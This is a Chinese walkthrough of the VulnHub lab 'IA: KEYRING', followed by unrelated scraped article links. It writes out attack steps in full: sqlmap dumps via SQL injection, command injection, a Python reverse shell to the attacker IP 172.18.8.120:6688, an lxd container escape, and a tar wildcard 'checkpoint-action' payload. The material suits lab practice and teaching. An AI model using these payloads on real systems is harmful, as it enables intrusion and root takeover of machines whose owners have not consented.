准备:

攻击机:虚拟机kali、本机win10。

靶机:IA: KEYRING (1.0.1),下载地址:https://download.vulnhub.com/ia/keyring-v1.01.ova,下载后直接vbox打开即可。

知识点:lxd提权、tar通配符提权、命令执行、sql注入、ida逆向、源码分析、gobuster目录扫描。

端口扫描:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.18.8.0/24,获得靶机地址:172.18.8.191。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.18.8.191,显示开放了22、80端口,开启了ssh服务和http服务。

web信息收集:

访问:http://172.18.8.191/是一个登录注册页面,进行账号信息注册然后进行登录,但是注册admin时显示该账户已存在,那我们就注册一个别的账户:upfine/upfine,然后进行登录。

登录时输入账号和密码信息一直不会跳转登录,查看页面源码信息,在其源码信息中发现登录页面:login.php,访问:http://172.18.8.191/login.php页面使用账户:upfine/upfine进行登录。

成功登陆后发现给与我们的提示信息,简单的告诉了我们什么是参数污染,但是在这几个界面中未发现参数的传递。

目录扫描:

使用gobuster进行目录扫描,发现about.php、index.php、history.php等页面,其中history.php页面是新多出来的页面。

打开该页面是一个空白页面,但是当退出之后在访问该页面会告诉我们不能找到某个用户的活动,因此猜测我们需要传入用户名参数user。

当我们传输user参数时:http://172.18.8.191/history.php?user=upfine,这时候又需要我们登录账户才可以,想到注册时告诉我们admin账户已存在,那我们也查看下admin账户信息,给我们返回了一个代码仓库地址:https://github.com/cyberbot75/keyring。

源码分析:

通过该地址下载下来页面源码信息,在control.php源码中发现了数据库的账户和密码信息:root/sqluserrootpassw0r4,数据库:users,以及不安全的函数system()。测试该函数是否可以进行命令执行,命令:http://172.18.8.191/control.php?cmdcntr=id,但是未回显任何信息,猜测是账户权限问题。

SQL注入:

在此页面:http://172.18.8.191/history.php?user=upfine,进行了简单的注入测试,发现存在注入点。

那就使用sqlmap获取下表名、列明和具体的数据信息,数据库名称在源码文件中已知:users。sqlmap命令如下,最终发现了两组账户和密码:admin/myadmin#p4szw0r4d、john/Sup3r$S3cr3t$PasSW0RD。

获取表名
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users --tables
获取表的数据
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users -T details --dump

获取shell:

使用我们获得的账户信息:admin/myadmin#p4szw0r4d进行登录,然后测试命令执行,此时命令执行成功。

利用命令执行函数直接反弹shell,命令如下:http://172.18.8.191/control.php?cmdcntr=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.18.8.120%22,6688));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27,在kali中开启对6688端口的监听,成功获得shell权限。

其余几种方式经测试无法反弹shell,可以在这个网站找各语言的反弹shell语句进行测试:https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.8.120",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

提权方式一-lxd提权:

在/home目录下发现john账户,加上我们之前发现的账户信息:john/Sup3r$S3cr3t$PasSW0RD,那我们就可以直接切换到john账户,成功切换到john账户后发现john账户具有lxd权限。

切换john账户后,在john目录下发现user.txt文件,读取该文件成功获取到第一个flag值。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://172.18.8.120:8000/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限,获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。这里获取root权限后出现了一点乱码,但是整体不影响,之前遇到过三次了,所以这里就这样。

lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

提权方式二-tar通配符提权:

将在/john目录下发现的compress文件下载下来。

在本地使用ida进行逆向分析,生成伪c代码,发现使用root权限执行了:/bin/tar cf archive.tar *,这里存在一个tar的通配符提权漏洞。

tar的通配符提权漏洞原理:当执行tar 命令时,通配符* 会自动被替换成参数。下面的话就是替换成我们的upfine.sh脚本,利用的payload如下,依次执行下面命令成功获得root权限,并在/root目录下发现root.txt文件,读取该文件成功获取到flag值。

echo "/bin/bash" > upfine.sh
echo "" > "--checkpoint-action=exec=sh upfine.sh"
echo "" > --checkpoint=1
./compress

vulnhub靶场之IA: KEYRING (1.0.1)的更多相关文章

  1. Vulnhub靶场渗透练习(一) Breach1.0

    打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  7. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

  8. Vulnhub靶场——DC-1

    记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...

  9. vulnhub靶场之DRIPPING BLUES: 1

    准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...

  10. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

随机推荐

  1. laravel 浏览器谷歌network返回报错html

    laravel 在谷歌报错的时候会返回html,对于调试来说很不方便.原因是在于: 这里返回的格式是json,但是报错时候返回的是整个html所以 相对路径: app\Exceptions\Handl ...

  2. Dubbo 原理和机制详解 (非常全面)

    Dubbo 是一款Java RPC框架,致力于提供高性能的 RPC 远程服务调用方案.作为主流的微服务框架之一,Dubbo 为开发人员带来了非常多的便利. 大家好,我是 mikechen,专注分享「互 ...

  3. 1.轮询、长轮询、websocket简介

    一.轮询 前端每隔固定时间向后台发送一次请求,询问服务器是否有新数据   缺点: 延迟,需要固定的轮询时间,不一定是实时数据 大量耗费服务器内存和宽带资源,因为不停的请求服务器,很多时候 并没有新的数 ...

  4. Codeforces Round #827 (Div. 4) A-G

    比赛链接 A 题解 知识点:模拟. 时间复杂度 \(O(1)\) 空间复杂度 \(O(1)\) 代码 #include <bits/stdc++.h> #define ll long lo ...

  5. 题解 AT2361 [AGC012A] AtCoder Group Contest

    \(\sf{Solution}\) 显然要用到贪心的思想. 既然最终的结果只与每组强度第二大选手有关,那就考虑如何让他的值尽可能大. 其实,从小到大排个序就能解决,越靠后的值越大,使得每组强度第二大选 ...

  6. 为什么CSS中的calc函数可能会不生效?

    前言 在早期如果想要对某一些样式进行动态计算,绝大多数的做法都是使用JavaScript来进行,当时的CSS在面对这种场景显得有点无能为力.但是,当CSS3中新增了calc函数时,面对这种场景,Jav ...

  7. [转]VB中资源文件.res的使用方法详解

    来源:https://blog.csdn.net/miaozk2006/article/details/82417156 在几乎所有的Windows应用程序中都拥有资源文件,这些文件定义使用应用程序将 ...

  8. .NET Conf 2022 &ndash; 11 月 8 日至 10 日

    .NET Conf 2022 下周就正式开启了,时间是美国时间的 11月8日至10日..NET Conf 2022是一个免费的,为期三天的, 虚拟开发人员活动提供多种实时会话,其中包括来自社区和 .N ...

  9. Springboot实现验证码登录

    Springboot实现验证码登录 1.背景 本人近期正在完成毕业设计(旅游信息管理系统)的制作,采用的SpringBoot+Thymeleaf的模式.在登录网站时想要添加验证码验证,通过网上查找资料 ...

  10. 深度解析KubeEdge EdgeMesh 高可用架构

    摘要:通过高可用特性应用场景.高可用特性使用手册.课题总结.未来展望等四个部分的内容来向大家介绍新版本EdgeMesh的高可用架构. 本文分享自华为云社区<KubeEdge EdgeMesh 高 ...